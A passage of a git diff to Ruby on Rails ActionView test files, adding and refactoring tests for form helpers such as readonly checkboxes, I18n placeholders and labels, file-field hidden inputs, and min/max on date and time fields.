+    assert_no_select 'input[type=checkbox][value="3"][disabled=disabled]'
+    assert_no_select 'input[type=checkbox][value="2"][disabled=disabled]'
+  end
+
+  test 'collection check boxes accepts multiple readonly items' do
+    collection = (1..3).map{|i| [i, "Category #{i}"] }
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, :readonly => [1, 3]
+
+    assert_select 'input[type=checkbox][value="1"][readonly=readonly]'
+    assert_select 'input[type=checkbox][value="3"][readonly=readonly]'
+    assert_no_select 'input[type=checkbox][value="2"][readonly=readonly]'
+  end
+
+  test 'collection check boxes accepts single readonly item' do
+    collection = (1..3).map{|i| [i, "Category #{i}"] }
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, :readonly => 1
+
+    assert_select 'input[type=checkbox][value="1"][readonly=readonly]'
+    assert_no_select 'input[type=checkbox][value="3"][readonly=readonly]'
+    assert_no_select 'input[type=checkbox][value="2"][readonly=readonly]'
+  end
+
+  test 'collection check boxes accepts a proc to readonly items' do
+    collection = (1..3).map{|i| [i, "Category #{i}"] }
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, :readonly => proc { |i| i.first == 1 }
+
+    assert_select 'input[type=checkbox][value="1"][readonly=readonly]'
+    assert_no_select 'input[type=checkbox][value="3"][readonly=readonly]'
+    assert_no_select 'input[type=checkbox][value="2"][readonly=readonly]'
   end
 
   test 'collection check boxes accepts html options' do
     collection = [[1, 'Category 1'], [2, 'Category 2']]
     with_collection_check_boxes :user, :category_ids, collection, :first, :last, {}, :class => 'check'
 
-    assert_select 'input.check[type=checkbox][value=1]'
-    assert_select 'input.check[type=checkbox][value=2]'
+    assert_select 'input.check[type=checkbox][value="1"]'
+    assert_select 'input.check[type=checkbox][value="2"]'
   end
 
   test 'collection check boxes with fields for' do
@@ -289,8 +390,8 @@ class FormCollectionsHelperTest < ActionView::TestCase
       p.collection_check_boxes :category_ids, collection, :id, :name
     end
 
-    assert_select 'input#post_category_ids_1[type=checkbox][value=1]'
-    assert_select 'input#post_category_ids_2[type=checkbox][value=2]'
+    assert_select 'input#post_category_ids_1[type=checkbox][value="1"]'
+    assert_select 'input#post_category_ids_2[type=checkbox][value="2"]'
 
     assert_select 'label[for=post_category_ids_1]', 'Category 1'
     assert_select 'label[for=post_category_ids_2]', 'Category 2'
diff --git a/actionview/test/template/form_helper_test.rb b/actionview/test/template/form_helper_test.rb
index 8cca43d7ca..4e336bea63 100644
--- a/actionview/test/template/form_helper_test.rb
+++ b/actionview/test/template/form_helper_test.rb
@@ -10,15 +10,20 @@ class FormHelperTest < ActionView::TestCase
     @output_buffer = super
   end
 
-  def setup
-    super
+  teardown do
+    I18n.backend.reload!
+  end
 
+  setup do
     # Create "label" locale for testing I18n label helpers
     I18n.backend.store_translations 'label', {
       activemodel: {
         attributes: {
           post: {
             cost: "Total cost"
+          },
+          :"post/language" => {
+            spanish: "Espanol"
           }
         }
       },
@@ -35,6 +40,9 @@ class FormHelperTest < ActionView::TestCase
           },
           tag: {
             value: "Tag"
+          },
+          post_delegate: {
+            title: 'Delegate model_name title'
           }
         }
       }
@@ -54,6 +62,38 @@ class FormHelperTest < ActionView::TestCase
       }
     }
 
+    I18n.backend.store_translations 'placeholder', {
+      activemodel: {
+        attributes: {
+          post: {
+            cost: "Total cost"
+          },
+          :"post/cost" => {
+            uk: "Pounds"
+          }
+        }
+      },
+      helpers: {
+        placeholder: {
+          post: {
+            title: "What is this about?",
+            written_on: {
+              spanish: "Escrito en"
+            },
+            comments: {
+              body: "Write body here"
+            }
+          },
+          post_delegate: {
+            title: 'Delegate model_name title'
+          },
+          tag: {
+            value: "Tag"
+          }
+        }
+      }
+    }
+
     @post = Post.new
     @comment = Comment.new
     def @post.errors()
@@ -65,7 +105,9 @@ class FormHelperTest < ActionView::TestCase
       }.new
     end
     def @post.to_key; [123]; end
-    def @post.id_before_type_cast; 123; end
+    def @post.id; 0; end
+    def @post.id_before_type_cast; "omg"; end
+    def @post.id_came_from_user?; true; end
     def @post.to_param; '123'; end
 
     @post.persisted   = true
@@ -81,6 +123,10 @@ class FormHelperTest < ActionView::TestCase
     @post.tags = []
     @post.tags << Tag.new
 
+    @post_delegator = PostDelegator.new
+
+    @post_delegator.title = 'Hello World'
+
     @car = Car.new("#000FFF")
   end
 
@@ -143,75 +189,86 @@ class FormHelperTest < ActionView::TestCase
   end
 
   def test_label_with_locales_strings
-    old_locale, I18n.locale = I18n.locale, :label
-    assert_dom_equal('<label for="post_body">Write entire text here</label>', label("post", "body"))
-  ensure
-    I18n.locale = old_locale
+    with_locale :label do
+      assert_dom_equal('<label for="post_body">Write entire text here</label>', label("post", "body"))
+    end
   end
 
   def test_label_with_human_attribute_name
-    old_locale, I18n.locale = I18n.locale, :label
-    assert_dom_equal('<label for="post_cost">Total cost</label>', label(:post, :cost))
-  ensure
-    I18n.locale = old_locale
+    with_locale :label do
+      assert_dom_equal('<label for="post_cost">Total cost</label>', label(:post, :cost))
+    end
+  end
+
+  def test_label_with_human_attribute_name_and_options
+    with_locale :label do
+      assert_dom_equal('<label for="post_language_spanish">Espanol</label>', label(:post, :language, value: "spanish"))
+    end
   end
 
   def test_label_with_locales_symbols
-    old_locale, I18n.locale = I18n.locale, :label
-    assert_dom_equal('<label for="post_body">Write entire text here</label>', label(:post, :body))
-  ensure
-    I18n.locale = old_locale
+    with_locale :label do
+      assert_dom_equal('<label for="post_body">Write entire text here</label>', label(:post, :body))
+    end
   end
 
   def test_label_with_locales_and_options
-    old_locale, I18n.locale = I18n.locale, :label
-    assert_dom_equal(
-      '<label for="post_body" class="post_body">Write entire text here</label>',
-      label(:post, :body, class: "post_body")
-    )
-  ensure
-    I18n.locale = old_locale
+    with_locale :label do
+      assert_dom_equal(
+        '<label for="post_body" class="post_body">Write entire text here</label>',
+        label(:post, :body, class: "post_body")
+      )
+    end
   end
 
   def test_label_with_locales_and_value
-    old_locale, I18n.locale = I18n.locale, :label
-    assert_dom_equal('<label for="post_color_red">Rojo</label>', label(:post, :color, value: "red"))
-  ensure
-    I18n.locale = old_locale
+    with_locale :label do
+      assert_dom_equal('<label for="post_color_red">Rojo</label>', label(:post, :color, value: "red"))
+    end
   end
 
   def test_label_with_locales_and_nested_attributes
-    old_locale, I18n.locale = I18n.locale, :label
-    form_for(@post, html: { id: 'create-post' }) do |f|
-      f.fields_for(:comments) do |cf|
-        concat cf.label(:body)
+    with_locale :label do
+      form_for(@post, html: { id: 'create-post' }) do |f|
+        f.fields_for(:comments) do |cf|
+          concat cf.label(:body)
+        end
       end
-    end
 
-    expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
-      '<label for="post_comments_attributes_0_body">Write body here</label>'
-    end
+      expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+        '<label for="post_comments_attributes_0_body">Write body here</label>'
+      end
 
-    assert_dom_equal expected, output_buffer
-  ensure
-    I18n.locale = old_locale
+      assert_dom_equal expected, output_buffer
+    end
   end
 
   def test_label_with_locales_fallback_and_nested_attributes
-    old_locale, I18n.locale = I18n.locale, :label
-    form_for(@post, html: { id: 'create-post' }) do |f|
-      f.fields_for(:tags) do |cf|
-        concat cf.label(:value)
+    with_locale :label do
+      form_for(@post, html: { id: 'create-post' }) do |f|
+        f.fields_for(:tags) do |cf|
+          concat cf.label(:value)
+        end
       end
+
+      expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+        '<label for="post_tags_attributes_0_value">Tag</label>'
+      end
+
+      assert_dom_equal expected, output_buffer
     end
+  end
 
-    expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
-      '<label for="post_tags_attributes_0_value">Tag</label>'
+  def test_label_with_non_active_record_object
+    form_for(OpenStruct.new(name:'ok'), as: 'person', url: 'an_url', html: { id: 'create-person' }) do |f|
+      f.label(:name)
+    end
+
+    expected = whole_form("an_url", "create-person", "new_person", method: "post") do
+      '<label for="person_name">Name</label>'
     end
 
     assert_dom_equal expected, output_buffer
-  ensure
-    I18n.locale = old_locale
   end
 
   def test_label_with_for_attribute_as_symbol
@@ -272,6 +329,13 @@ class FormHelperTest < ActionView::TestCase
     )
   end
 
+  def test_label_with_block_and_html
+    assert_dom_equal(
+      '<label for="post_terms">Accept <a href="/terms">Terms</a>.</label>',
+      label(:post, :terms) { 'Accept <a href="/terms">Terms</a>.'.html_safe }
+    )
+  end
+
   def test_label_with_block_and_options
     assert_dom_equal(
       '<label for="my_for">The title, please:</label>',
@@ -279,13 +343,122 @@ class FormHelperTest < ActionView::TestCase
     )
   end
 
+  def test_label_with_block_and_builder
+    with_locale :label do
+      assert_dom_equal(
+        '<label for="post_body"><b>Write entire text here</b></label>',
+        label(:post, :body) { |b| "<b>#{b.translation}</b>".html_safe }
+      )
+    end
+  end
+
   def test_label_with_block_in_erb
-    assert_equal(
+    assert_dom_equal(
       %{<label for="post_message">\n  Message\n  <input id="post_message" name="post[message]" type="text" />\n</label>},
       view.render("test/label_with_block")
     )
   end
 
+  def test_label_with_to_model
+    assert_dom_equal(
+      %{<label for="post_delegator_title">Delegate Title</label>},
+      label(:post_delegator, :title)
+    )
+  end
+
+  def test_label_with_to_model_and_overriden_model_name
+    with_locale :label do
+      assert_dom_equal(
+        %{<label for="post_delegator_title">Delegate model_name title</label>},
+        label(:post_delegator, :title)
+      )
+    end
+  end
+
+  def test_text_field_placeholder_without_locales
+    with_locale :placeholder do
+      assert_dom_equal('<input id="post_body" name="post[body]" placeholder="Body" type="text" value="Back to the hill and over it again!" />', text_field(:post, :body, placeholder: true))
+    end
+  end
+
+  def test_text_field_placeholder_with_locales
+    with_locale :placeholder do
+      assert_dom_equal('<input id="post_title" name="post[title]" placeholder="What is this about?" type="text" value="Hello World" />', text_field(:post, :title, placeholder: true))
+    end
+  end
+
+  def test_text_field_placeholder_with_locales_and_to_model
+    with_locale :placeholder do
+      assert_dom_equal(
+        '<input id="post_delegator_title" name="post_delegator[title]" placeholder="Delegate model_name title" type="text" value="Hello World" />',
+        text_field(:post_delegator, :title, placeholder: true)
+      )
+    end
+  end
+
+  def test_text_field_placeholder_with_human_attribute_name
+    with_locale :placeholder do
+      assert_dom_equal('<input id="post_cost" name="post[cost]" placeholder="Total cost" type="text" />', text_field(:post, :cost, placeholder: true))
+    end
+  end
+
+  def test_text_field_placeholder_with_human_attribute_name_and_to_model
+    assert_dom_equal(
+      '<input id="post_delegator_title" name="post_delegator[title]" placeholder="Delegate Title" type="text" value="Hello World" />',
+      text_field(:post_delegator, :title, placeholder: true)
+    )
+  end
+
+  def test_text_field_placeholder_with_string_value
+    with_locale :placeholder do
+      assert_dom_equal('<input id="post_cost" name="post[cost]" placeholder="HOW MUCH?" type="text" />', text_field(:post, :cost, placeholder: "HOW MUCH?"))
+    end
+  end
+
+  def test_text_field_placeholder_with_human_attribute_name_and_value
+    with_locale :placeholder do
+      assert_dom_equal('<input id="post_cost" name="post[cost]" placeholder="Pounds" type="text" />', text_field(:post, :cost, placeholder: :uk))
+    end
+  end
+
+  def test_text_field_placeholder_with_locales_and_value
+    with_locale :placeholder do
+      assert_dom_equal('<input id="post_written_on" name="post[written_on]" placeholder="Escrito en" type="text" value="2004-06-15" />', text_field(:post, :written_on, placeholder: :spanish))
+    end
+  end
+
+  def test_text_field_placeholder_with_locales_and_nested_attributes
+    with_locale :placeholder do
+      form_for(@post, html: { id: 'create-post' }) do |f|
+        f.fields_for(:comments) do |cf|
+          concat cf.text_field(:body, placeholder: true)
+        end
+      end
+
+      expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+        '<input id="post_comments_attributes_0_body" name="post[comments_attributes][0][body]" placeholder="Write body here" type="text" />'
+      end
+
+      assert_dom_equal expected, output_buffer
+    end
+  end
+
+  def test_text_field_placeholder_with_locales_fallback_and_nested_attributes
+    with_locale :placeholder do
+      form_for(@post, html: { id: 'create-post' }) do |f|
+        f.fields_for(:tags) do |cf|
+          concat cf.text_field(:value, placeholder: true)
+        end
+      end
+
+      expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+        '<input id="post_tags_attributes_0_value" name="post[tags_attributes][0][value]" placeholder="Tag" type="text" value="new tag" />'
+      end
+
+      assert_dom_equal expected, output_buffer
+    end
+  end
+
   def test_text_field
     assert_dom_equal(
       '<input id="post_title" name="post[title]" type="text" value="Hello World" />',
@@ -352,22 +525,36 @@ class FormHelperTest < ActionView::TestCase
   def test_text_field_doesnt_change_param_values
     object_name = 'post[]'
     expected = '<input id="post_123_title" name="post[123][title]" type="text" value="Hello World" />'
-    assert_equal expected, text_field(object_name, "title")
-    assert_equal object_name, "post[]"
+    assert_dom_equal expected, text_field(object_name, "title")
   end
 
-  def test_file_field_has_no_size
+  def test_file_field_does_generate_a_hidden_field
+    expected = '<input name="user[avatar]" type="hidden" value="" /><input id="user_avatar" name="user[avatar]" type="file" />'
+    assert_dom_equal expected, file_field("user", "avatar")
+  end
+
+  def test_file_field_does_not_generate_a_hidden_field_if_included_hidden_option_is_false
+    expected = '<input id="user_avatar" name="user[avatar]" type="file" />'
+    assert_dom_equal expected, file_field("user", "avatar", include_hidden: false)
+  end
+
+  def test_file_field_does_not_generate_a_hidden_field_if_included_hidden_option_is_false_with_key_as_string
     expected = '<input id="user_avatar" name="user[avatar]" type="file" />'
+    assert_dom_equal expected, file_field("user", "avatar", "include_hidden" => false)
+  end
+
+  def test_file_field_has_no_size
+    expected = '<input name="user[avatar]" type="hidden" value="" /><input id="user_avatar" name="user[avatar]" type="file" />'
     assert_dom_equal expected, file_field("user", "avatar")
   end
 
   def test_file_field_with_multiple_behavior
-    expected = '<input id="import_file" multiple="multiple" name="import[file][]" type="file" />'
+    expected = '<input name="import[file][]" type="hidden" value="" /><input id="import_file" multiple="multiple" name="import[file][]" type="file" />'
     assert_dom_equal expected, file_field("import", "file", :multiple => true)
   end
 
   def test_file_field_with_multiple_behavior_and_explicit_name
-    expected = '<input id="import_file" multiple="multiple" name="custom" type="file" />'
+    expected = '<input name="custom" type="hidden" value="" /><input id="import_file" multiple="multiple" name="custom" type="file" />'
     assert_dom_equal expected, file_field("import", "file", :multiple => true, :name => "custom")
   end
 
@@ -654,6 +841,92 @@ class FormHelperTest < ActionView::TestCase
     )
   end
 
+  def test_text_area_placeholder_without_locales
+    with_locale :placeholder do
+      assert_dom_equal(
+        %{<textarea id="post_body" name="post[body]" placeholder="Body">\nBack to the hill and over it again!</textarea>},
+        text_area(:post, :body, placeholder: true)
+      )
+    end
+  end
+
+  def test_text_area_placeholder_with_locales
+    with_locale :placeholder do
+      assert_dom_equal(
+        %{<textarea id="post_title" name="post[title]" placeholder="What is this about?">\nHello World</textarea>},
+        text_area(:post, :title, placeholder: true)
+      )
+    end
+  end
+
+  def test_text_area_placeholder_with_human_attribute_name
+    with_locale :placeholder do
+      assert_dom_equal(
+        %{<textarea id="post_cost" name="post[cost]" placeholder="Total cost">\n</textarea>},
+        text_area(:post, :cost, placeholder: true)
+      )
+    end
+  end
+
+  def test_text_area_placeholder_with_string_value
+    with_locale :placeholder do
+      assert_dom_equal(
+        %{<textarea id="post_cost" name="post[cost]" placeholder="HOW MUCH?">\n</textarea>},
+        text_area(:post, :cost, placeholder: "HOW MUCH?")
+      )
+    end
+  end
+
+  def test_text_area_placeholder_with_human_attribute_name_and_value
+    with_locale :placeholder do
+      assert_dom_equal(
+        %{<textarea id="post_cost" name="post[cost]" placeholder="Pounds">\n</textarea>},
+        text_area(:post, :cost, placeholder: :uk)
+      )
+    end
+  end
+
+  def test_text_area_placeholder_with_locales_and_value
+    with_locale :placeholder do
+      assert_dom_equal(
+        %{<textarea id="post_written_on" name="post[written_on]" placeholder="Escrito en">\n2004-06-15</textarea>},
+        text_area(:post, :written_on, placeholder: :spanish)
+      )
+    end
+  end
+
+  def test_text_area_placeholder_with_locales_and_nested_attributes
+    with_locale :placeholder do
+      form_for(@post, html: { id: 'create-post' }) do |f|
+        f.fields_for(:comments) do |cf|
+          concat cf.text_area(:body, placeholder: true)
+        end
+      end
+
+      expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+        %{<textarea id="post_comments_attributes_0_body" name="post[comments_attributes][0][body]" placeholder="Write body here">\n</textarea>}
+      end
+
+      assert_dom_equal expected, output_buffer
+    end
+  end
+
+  def test_text_area_placeholder_with_locales_fallback_and_nested_attributes
+    with_locale :placeholder do
+      form_for(@post, html: { id: 'create-post' }) do |f|
+        f.fields_for(:tags) do |cf|
+          concat cf.text_area(:value, placeholder: true)
+        end
+      end
+
+      expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+        %{<textarea id="post_tags_attributes_0_value" name="post[tags_attributes][0][value]" placeholder="Tag">\nnew tag</textarea>}
+      end
+
+      assert_dom_equal expected, output_buffer
+    end
+  end
+
   def test_text_area
     assert_dom_equal(
       %{<textarea id="post_body" name="post[body]">\nBack to the hill and over it again!</textarea>},
@@ -683,6 +956,33 @@ class FormHelperTest < ActionView::TestCase
     )
   end
 
+  def test_inputs_use_before_type_cast_to_retain_information_from_validations_like_numericality
+    assert_dom_equal(
+      %{<textarea id="post_id" name="post[id]">\nomg</textarea>},
+      text_area("post", "id")
+    )
+  end
+
+  def test_inputs_dont_use_before_type_cast_when_value_did_not_come_from_user
+    class << @post
+      undef id_came_from_user?
+      def id_came_from_user?; false; end
+    end
+
+    assert_dom_equal(
+      %{<textarea id="post_id" name="post[id]">\n0</textarea>},
+      text_area("post", "id")
+    )
+  end
+
+  def test_inputs_use_before_typecast_when_object_doesnt_respond_to_came_from_user
+    class << @post; undef id_came_from_user?; end
+    assert_dom_equal(
+      %{<textarea id="post_id" name="post[id]">\nomg</textarea>},
+      text_area("post", "id")
+    )
+  end
+
   def test_text_area_with_html_entities
     @post.body = "The HTML Entity for & is &amp;"
     assert_dom_equal(
@@ -719,6 +1019,11 @@ class FormHelperTest < ActionView::TestCase
     assert_dom_equal(expected, search_field("contact", "notes_query"))
   end
 
+  def test_search_field_with_onsearch_value
+    expected = %{<input onsearch="true" type="search" name="contact[notes_query]" id="contact_notes_query" incremental="true" />}
+    assert_dom_equal(expected, search_field("contact", "notes_query", onsearch: true))
+  end
+
   def test_telephone_field
     expected = %{<input id="user_cell" name="user[cell]" type="tel" />}
     assert_dom_equal(expected, telephone_field("user", "cell"))
@@ -765,6 +1070,22 @@ class FormHelperTest < ActionView::TestCase
     assert_dom_equal(expected, date_field("post", "written_on"))
   end
 
+  def test_date_field_with_string_values_for_min_and_max
+    expected = %{<input id="post_written_on" max="2010-08-15" min="2000-06-15" name="post[written_on]" type="date" value="2004-06-15" />}
+    @post.written_on = DateTime.new(2004, 6, 15)
+    min_value = "2000-06-15"
+    max_value = "2010-08-15"
+    assert_dom_equal(expected, date_field("post", "written_on", min: min_value, max: max_value))
+  end
+
+  def test_date_field_with_invalid_string_values_for_min_and_max
+    expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = "foo"
+    max_value = "bar"
+    assert_dom_equal(expected, date_field("post", "written_on", min: min_value, max: max_value))
+  end
+
   def test_time_field
     expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="00:00:00.000" />}
     assert_dom_equal(expected, time_field("post", "written_on"))
@@ -800,6 +1121,22 @@ class FormHelperTest < ActionView::TestCase
     assert_dom_equal(expected, time_field("post", "written_on"))
   end
 
+  def test_time_field_with_string_values_for_min_and_max
+    expected = %{<input id="post_written_on" max="10:25:00.000" min="20:45:30.000" name="post[written_on]" type="time" value="01:02:03.000" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = "20:45:30.000"
+    max_value = "10:25:00.000"
+    assert_dom_equal(expected, time_field("post", "written_on", min: min_value, max: max_value))
+  end
+
+  def test_time_field_with_invalid_string_values_for_min_and_max
+    expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="01:02:03.000" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = "foo"
+    max_value = "bar"
+    assert_dom_equal(expected, time_field("post", "written_on", min: min_value, max: max_value))
+  end
+
   def test_datetime_field
     expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T00:00:00.000+0000" />}
     assert_dom_equal(expected, datetime_field("post", "written_on"))
@@ -841,6 +1178,22 @@ class FormHelperTest < ActionView::TestCase
     assert_dom_equal(expected, datetime_field("post", "written_on"))
   end
 
+  def test_datetime_field_with_string_values_for_min_and_max
+    expected = %{<input id="post_written_on" max="2010-08-15T10:25:00.000+0000" min="2000-06-15T20:45:30.000+0000" name="post[written_on]" type="datetime" value="2004-06-15T01:02:03.000+0000" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = "2000-06-15T20:45:30.000+0000"
+    max_value = "2010-08-15T10:25:00.000+0000"
+    assert_dom_equal(expected, datetime_field("post", "written_on", min: min_value, max: max_value))
+  end
+
+  def test_datetime_field_with_invalid_string_values_for_min_and_max
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T01:02:03.000+0000" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = "foo"
+    max_value = "bar"
+    assert_dom_equal(expected, datetime_field("post", "written_on", min: min_value, max: max_value))
+  end
+
   def test_datetime_local_field
     expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T00:00:00" />}
     assert_dom_equal(expected, datetime_local_field("post", "written_on"))
@@ -876,6 +1229,22 @@ class FormHelperTest < ActionView::TestCase
     assert_dom_equal(expected, datetime_local_field("post", "written_on"))
   end
 
+  def test_datetime_local_field_with_string_values_for_min_and_max
+    expected = %{<input id="post_written_on" max="2010-08-15T10:25:00" min="2000-06-15T20:45:30" name="post[written_on]" type="datetime-local" value="2004-06-15T01:02:03" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = "2000-06-15T20:45:30"
+    max_value = "2010-08-15T10:25:00"
+    assert_dom_equal(expected, datetime_local_field("post", "written_on", min: min_value, max: max_value))
+  end
+
+  def test_datetime_local_field_with_invalid_string_values_for_min_and_max
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T01:02:03" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = "foo"
+    max_value = "bar"
+    assert_dom_equal(expected, datetime_local_field("post", "written_on", min: min_value, max: max_value))
+  end
+
   def test_month_field
     expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
     assert_dom_equal(expected, month_field("post", "written_on"))
@@ -1282,6 +1651,42 @@ class FormHelperTest < ActionView::TestCase
     assert_dom_equal expected, output_buffer
   end
 
+  def test_form_with_namespace_and_with_collection_radio_buttons
+    post = Post.new
+    def post.active; false; end
+
+    form_for(post, namespace: 'foo') do |f|
+      concat f.collection_radio_buttons(:active, [true, false], :to_s, :to_s)
+    end
+
+    expected = whole_form("/posts", "foo_new_post", "new_post") do
+      "<input id='foo_post_active_true' name='post[active]' type='radio' value='true' />" +
+      "<label for='foo_post_active_true'>true</label>" +
+      "<input checked='checked' id='foo_post_active_false' name='post[active]' type='radio' value='false' />" +
+      "<label for='foo_post_active_false'>false</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_index_and_with_collection_radio_buttons
+    post = Post.new
+    def post.active; false; end
+
+    form_for(post, index: '1') do |f|
+      concat f.collection_radio_buttons(:active, [true, false], :to_s, :to_s)
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      "<input id='post_1_active_true' name='post[1][active]' type='radio' value='true' />" +
+      "<label for='post_1_active_true'>true</label>" +
+      "<input checked='checked' id='post_1_active_false' name='post[1][active]' type='radio' value='false' />" +
+      "<label for='post_1_active_false'>false</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
   def test_form_for_with_collection_check_boxes
     post = Post.new
     def post.tag_ids; [1, 3]; end
@@ -1361,6 +1766,42 @@ class FormHelperTest < ActionView::TestCase
     assert_dom_equal expected, output_buffer
   end
 
+  def test_form_with_namespace_and_with_collection_check_boxes
+    post = Post.new
+    def post.tag_ids; [1]; end
+    collection = [[1, "Tag 1"]]
+
+    form_for(post, namespace: 'foo') do |f|
+      concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
+    end
+
+    expected = whole_form("/posts", "foo_new_post", "new_post") do
+      "<input checked='checked' id='foo_post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" +
+      "<label for='foo_post_tag_ids_1'>Tag 1</label>" +
+      "<input name='post[tag_ids][]' type='hidden' value='' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_index_and_with_collection_check_boxes
+    post = Post.new
+    def post.tag_ids; [1]; end
+    collection = [[1, "Tag 1"]]
+
+    form_for(post, index: '1') do |f|
+      concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
+    end
+
+    expected = whole_form("/posts", "new_post", "new_post") do
+      "<input checked='checked' id='post_1_tag_ids_1' name='post[1][tag_ids][]' type='checkbox' value='1' />" +
+      "<label for='post_1_tag_ids_1'>Tag 1</label>" +
+      "<input name='post[1][tag_ids][]' type='hidden' value='' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
   def test_form_for_with_file_field_generate_multipart
     Post.send :attr_accessor, :file
 
@@ -1369,7 +1810,7 @@ class FormHelperTest < ActionView::TestCase
     end
 
     expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch", multipart: true) do
-      "<input name='post[file]' type='file' id='post_file' />"
+      "<input name='post[file]' type='hidden' value='' /><input name='post[file]' type='file' id='post_file' />"
     end
 
     assert_dom_equal expected, output_buffer
@@ -1385,7 +1826,7 @@ class FormHelperTest < ActionView::TestCase
     end
 
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch", multipart: true) do
-      "<input name='post[comment][file]' type='file' id='post_comment_file' />"
+      "<input name='post[comment][file]' type='hidden' value='' /><input name='post[comment][file]' type='file' id='post_comment_file' />"
     end
 
     assert_dom_equal expected, output_buffer
@@ -1440,6 +1881,20 @@ class FormHelperTest < ActionView::TestCase
     assert_dom_equal expected, output_buffer
   end
 
+  def test_form_tags_do_not_call_private_properties_on_form_object
+    obj = Class.new do
+      private
+
+      def private_property
+        raise "This method should not be called."
+      end
+    end.new
+
+    form_for(obj, as: "other_name", url: '/', html: { id: "edit-other-name" }) do |f|
+      assert_raise(NoMethodError) { f.hidden_field(:private_property) }
+    end
+  end
+
   def test_form_for_with_method_as_part_of_html_options
     form_for(@post, url: '/', html: { id: 'create-post', method: :delete }) do |f|
       concat f.text_field(:title)
@@ -1505,6 +1960,30 @@ class FormHelperTest < ActionView::TestCase
     assert_dom_equal expected, output_buffer
   end
 
+  def test_form_for_enforce_utf8_true
+    form_for(:post, enforce_utf8: true) do |f|
+      concat f.text_field(:title)
+    end
+
+    expected = whole_form("/", nil, nil, enforce_utf8: true) do
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_enforce_utf8_false
+    form_for(:post, enforce_utf8: false) do |f|
+      concat f.text_field(:title)
+    end
+
+    expected = whole_form("/", nil, nil, enforce_utf8: false) do
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
   def test_form_for_with_remote_in_html
     form_for(@post, url: '/', html: { remote: true, id: 'create-post', method: :patch }) do |f|
       concat f.text_field(:title)
@@ -1681,6 +2160,18 @@ class FormHelperTest < ActionView::TestCase
     assert_dom_equal expected, output_buffer
   end
 
+  def test_form_for_with_namespace_and_as_option
+    form_for(@post, namespace: 'namespace', as: 'custom_name') do |f|
+      concat f.text_field(:title)
+    end
+
+    expected = whole_form('/posts/123', 'namespace_edit_custom_name', 'edit_custom_name', method: 'patch') do
+      "<input id='namespace_custom_name_title' name='custom_name[title]' type='text' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
   def test_two_form_for_with_namespace
     form_for(@post, namespace: 'namespace_1') do |f|
       concat f.label(:title)
@@ -1727,69 +2218,61 @@ class FormHelperTest < ActionView::TestCase
   end
 
   def test_submit_with_object_as_new_record_and_locale_strings
-    old_locale, I18n.locale = I18n.locale, :submit
+    with_locale :submit do
+      @post.persisted = false
+      @post.stubs(:to_key).returns(nil)
+      form_for(@post) do |f|
+        concat f.submit
+      end
 
-    @post.persisted = false
-    @post.stubs(:to_key).returns(nil)
-    form_for(@post) do |f|
-      concat f.submit
-    end
+      expected = whole_form('/posts', 'new_post', 'new_post') do
+        "<input name='commit' type='submit' value='Create Post' />"
+      end
 
-    expected = whole_form('/posts', 'new_post', 'new_post') do
-      "<input name='commit' type='submit' value='Create Post' />"
+      assert_dom_equal expected, output_buffer
     end
-
-    assert_dom_equal expected, output_buffer
-  ensure
-    I18n.locale = old_locale
   end
 
   def test_submit_with_object_as_existing_record_and_locale_strings
-    old_locale, I18n.locale = I18n.locale, :submit
+    with_locale :submit do
+      form_for(@post) do |f|
+        concat f.submit
+      end
 
-    form_for(@post) do |f|
-      concat f.submit
-    end
+      expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+        "<input name='commit' type='submit' value='Confirm Post changes' />"
+      end
 
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      "<input name='commit' type='submit' value='Confirm Post changes' />"
+      assert_dom_equal expected, output_buffer
     end
-
-    assert_dom_equal expected, output_buffer
-  ensure
-    I18n.locale = old_locale
   end
 
   def test_submit_without_object_and_locale_strings
-    old_locale, I18n.locale = I18n.locale, :submit
+    with_locale :submit do
